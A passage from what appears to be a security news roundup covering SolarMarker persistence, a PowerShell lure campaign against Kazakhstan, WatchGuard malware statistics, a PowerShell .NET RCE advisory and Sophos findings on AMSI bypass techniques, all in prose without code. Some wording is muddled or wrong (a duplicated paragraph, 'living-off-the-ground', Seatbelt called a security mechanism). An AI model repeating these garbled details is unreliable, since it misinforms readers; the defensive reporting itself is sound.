The researchers explained, "Usually, one might assume this associated file to be an operable or script file." "However, the linked file for these SolarMarker operations is one of the random trash files, therefore cannot be performed by itself."

Furthermore, the linked junk file's unique and random file extension is used to build a custom file type key, which is then used to run an Executable from the Registry to run the malware during system startup. The backdoor, on the other hand, is constantly growing, with features that allow it to capture information from online browsers, facilitate bitcoin theft, and run arbitrary instructions and programs, with the results being sent to a remote server.

The backdoor is continually being updated with new capabilities that make it possible to steal data from the web browsers, ease bitcoin theft, and execute arbitrary commands and applications with the results related to a remote server. 

Kazakhstan Has Been The Target of a PowerShell-Based Attack


Malwarebytes discovered a multi-stage PowerShell attack on November 10 that used a document lure imitating the Kazakh Ministry of Health Care. On November 8, a threat actor using the handle DangerSklif (perhaps in reference to Moscow's emergency hospital) set up a GitHub account and posted the first part of the attack. 

PowerShell is a sophisticated scripting language that gives you full access to a computer's inner workings, including Windows APIs. PowerShell also has the advantage of being an integral part of Windows that is entirely trusted, thus security software normally ignores the commands it executes. The ability to execute PowerShell remotely via WinRM makes it an even more tempting tool. This functionality allows attackers to bypass Windows Firewall, run PowerShell scripts remotely, or simply drop into an interactive PowerShell session, giving them complete administrative control over a system. 

When PowerShell is used in a fileless malware attack, the line between infecting a single machine and compromising the entire enterprise is entirely blurred. The route to total compromise is paved the instant an attacker obtains a user name and password for a single system. 

The attack began with the distribution of the RAR archive “Увeдомление.rar” ("Notice.rar"). The archive file contains an lnk file with the same name that pretends to be a PDF document from Kazakhstan's "Ministry of Health Care." When the lnk file is opened, a PDF file is shown to confuse victims while numerous stages of the assault are being carried out in the background. The fake document is an update to a Covid 19 policy released by the Republic of Kazakhstan's Chef State Sanitary. 

The attack began with the execution of the lnk file, which invokes PowerShell and uses an autorun registry key to accomplish multiple techniques such as privilege escalation and persistency. The entire attack was stored in a single Github repository called GoogleUpdate. On November 8th, a user named DangerSklif created this repository. On November 1st, the DangerSklif user was created on GitHub.

It used cmd.exe to call PowerShell to download and execute the first stage of the attack from the Github account (lib7.ps1) after de-obfuscating the embedded lnk file. The fake PDF file is downloaded from the same Github account and saved in the Downloads directory by lib7.ps1. The following step is to open a decoy PDF to fool the user while the remainder of the procedure is carried out in the background, including obtaining the OS version and downloading the next stage based on the OS version.

Research shows that 91.5% Malware in Q2 2021 Appeared Over Encrypted Connections


According to the recent WatchGuard data, 91.5 percent of malware originated via encryption techniques during Q2 2021. This represents a significant increase compared to the previous quarter, implying that any organization that does not examine encrypted HTTPS traffic at the periphery is overlooking 9/10 of all malware. 

The study also showed worrisome increases in file-less malware threats, a substantial increase in ransomware, and a massive increase in network cyber attacks. “With much of the world still firmly operating in a mobile or hybrid workforce model, the traditional network perimeter doesn’t always factor into the cybersecurity defense equation,” said Corey Nachreiner, CSO at WatchGuard. 

AMSI.Disable.A appeared in the leading malware segment for the very first time in Q1 and quickly rose to the forefront this quarter, ranking second overall by volume as well as first for cumulative encoded attacks. This malware family employs PowerShell techniques to leverage various Windows security flaws, but what makes it particularly intriguing is its evasive technique. 

AMSI.Disable.A employs code capable of deactivating the Antimalware Scan Interface (AMSI) in PowerShell, enabling it to avoid script-security screening while carrying out its malware payload completely unnoticed. Within the first six months of 2021, malware observations believed to have originated from scripting engines such as PowerShell already have managed to reach 80% of last year's overall script-initiated attack volume, representing a significant increase compared to the previous year. 

In the following quarter, the said number increased by another million, indicating an aggressive course that emphasizes the evolving importance of keeping perimeter security along with user-focused safeguards. Whereas overall ransomware detections on endpoints fell from 2018 to 2020, the trend reversed in the first half of 2021, with the six-month total finishing just short of the full-year total for 2020. 

The Colonial Pipeline attack on May 7, 2021, demonstrated unequivocally that ransomware will be here to stay. The breach, which was the top security incident of the quarter, demonstrates how cybercriminals are not only targeting the most essential services – such as hospitals, industrial control, and infrastructure – but also seem to be intensifying attacks against such elevated targets. 

One of the most notable examples was a 2020 vulnerability within the popular online scripting language PHP, however, the other three aren't. A 20ll Oracle GlassFish Server vulnerability, a 2013 SQL injection flaw in the medical records application OpenEMR, and a 2017 remote code execution (RCE) vulnerability in Microsoft Edge are among them. Even though they are all out of date, they all pose a danger if not patched. 

Although it's an old attack vector that has hopefully been fixed in most systems, those who are yet to patch will be in for a huge shock if an attacker manages to get to it before they do. A very relatively similar RCE security flaw, CVE-2021-40444, hit the headlines earlier this month when it was purposefully abused in targeted attacks against Microsoft Office and Office 365 on Windows 10 computers. 

Malware designed to target Microsoft Exchange servers and generic email clients to install remote access trojans (RATs) in highly sensitive locations has recently increased. It's most probably because Q2 was the second consecutive quarter in which remote employees and learners reverted to either hybrid offices and educational environments or normally functioning on-site behavior. 

Strong security consciousness and monitoring of departing communications on gadgets that aren't essentially connected directly to the connected devices is advised in any event – or location.

Microsoft Alerts of Critical PowerShell 7 Code Execution Vulnerability


Microsoft is alerting customers to upgrade their installations of PowerShell 7 as soon as possible to protect themselves against a.NET remote code execution (RCE) vulnerability. 

PowerShell is a configuration management system that features a command-line shell as well as a task automation scripting language. It runs on.NET, which makes use of a text encoding package that was recently fixed against an RCE flaw. It works with structured data such as JSON, CSV, and XML, and REST APIs and object models, and it operates on all major platforms, including Windows, Linux, and macOS. 

The.NET vulnerability was recognized as a major vulnerability with a score of 9.8 and was patched in April. 

According to the firm, there are no mitigation steps available to prevent the exploitation of the security issue identified as CVE-2021-26701. Customers are encouraged to update to PowerShell 7.0.6 and 7.1.3 as soon as possible in order to safeguard their systems from potential threats. 

In addition, Microsoft's initial advisory instructs developers on how to update their programs to eliminate the risk. 

Microsoft explained in April when the security flaw was patched, "The vulnerable package is System.Text.Encodings.Web. Upgrading your package and redeploying your app should be sufficient to address this vulnerability." 

Any.NET 5,.NET Core, or.NET Framework based application that uses a System. Text.Encodings. The version of the web package indicated below is vulnerable to attacks:
1.System.Text.Encodings.Web: Vulnerable Versions 4.0.0 - 4.5.0 ; Secure Version 4.5.1

2.System.Text.Encodings.Web: Vulnerable Versions 4.6.0-4.7.1; Secure Version 4.7.2

3.System.Text.Encodings.Web: Vulnerable Versions 5.0.0; Secure Version 5.0.1 

According to Microsoft's security alert, Visual Studio consists of the binaries for .NET but it is not vulnerable to this flaw. The update includes the.NET files, ensuring that apps built with Visual Studio that use.NET capabilities are safe from this security flaw. 

"If you have questions, ask them in GitHub, where the Microsoft development team and the community of experts are closely monitoring for new issues and will provide answers as soon as possible," Microsoft added. 

Microsoft has recently mentioned that future PowerShell upgrades will be released through the Microsoft Update service, making it easier to keep PowerShell up to date on Windows 10 and Windows Server.

How Threat Actors Try and Bypass Microsoft's Antimalware Scan Interface (AMSI)?


With Windows 10 and recent Windows Server platforms gaining importance, the purpose of malware developers and other cybercriminals is progressively targeted to prevent detection, by removing the anti-malware traffic cop from these platforms: Microsoft's Antimalware Scan Interface. 

AMSI, launched in 2015, offers software for communicating to security devices for file scanning, memory scanning or streaming in a supplier-agnostics manner for dangerous payloads. AMSI allows permeability of anti-malware software on Microsoft components and apps, including Windows' PowerShell engine/script hosts (wscript.exe and cscript.exe), Office document macros, the existing.NET Framework (version 4.8), and Windows Management Instrumentation (WMI) — frequently used by adversaries in “living off the land” (LOL) strategies. 

AMSI has recently been improved to integrate Excel 4.0 (XLM) macro scanning in the integration of Office 365 in an attempt to address the surge in malicious macros in an infection vector. 

Sophos experts investigated the methods used to circumvent or deactivate AMSI and stated on Wednesday that threat actors will try everything from living-off-the-ground strategies to file free attacks. 

In a 2016 tweet by the security expert Matt Graeber, the possibility of AMSI-button circumvention was emphasized, Sophos said that a single line of code has swapped the PowerShell feature for AMSI integration and may have theoretically halted PowerShell-based processes from requesting scans. 

Most post-exploitation operations, especially lateral moving, seemed concentrated on detections made between 2020 and 2021. 

The very same bypass was identified back to a specific occurrence, tied to attacks using the Proxy Logon that connected to a remote server to capture a malware downloader based on PowerShell. 

The usage of a Seatbelt, an aggressive security mechanism, is another approach used to overcome AMSI. To build a delegate process using reflecting to access the .NET interface for AmsiUtils, the PowerShell script was utilized. 

Sophos notes, nevertheless, that more than 98% of AMSI circumvention efforts are carried just via manipulating the AMSI library. A variety of malware variants are present that will try to discover the pre-loaded Memory AmsiScanBuffer and then rewrite over instructions to ensure that scanning requests fail. 

The memory element that stores the code to return the buffer scans results may be modified by other versions, leading to a failure. 

Additional tactics include Cobalt Strike – This memory patch approach comes with a PowerShell invoked remote scripts in a PowerShell pre-patch in the Agent Tesla Trojan family, amongst others. One way is to fabricate DLLs to load a false AMSI version from PowerShell. Also, DLL has been an old method and now it's impossible to load unapproved engines, or in most cases virtual machines, because of better Microsoft security (VMs). 

"Given how prevalent those tactics have become, particularly in ransomware operator intrusions, AMSI can play a particularly important role in keeping Windows 10 and Windows Server systems from being compromised," Sophos says. "But AMSI is not a panacea. And while Microsoft's Windows Defender provides some protection against AMSI bypasses, attackers are continuously finding ways to obfuscate and conceal malicious content from anti-malware signature detections."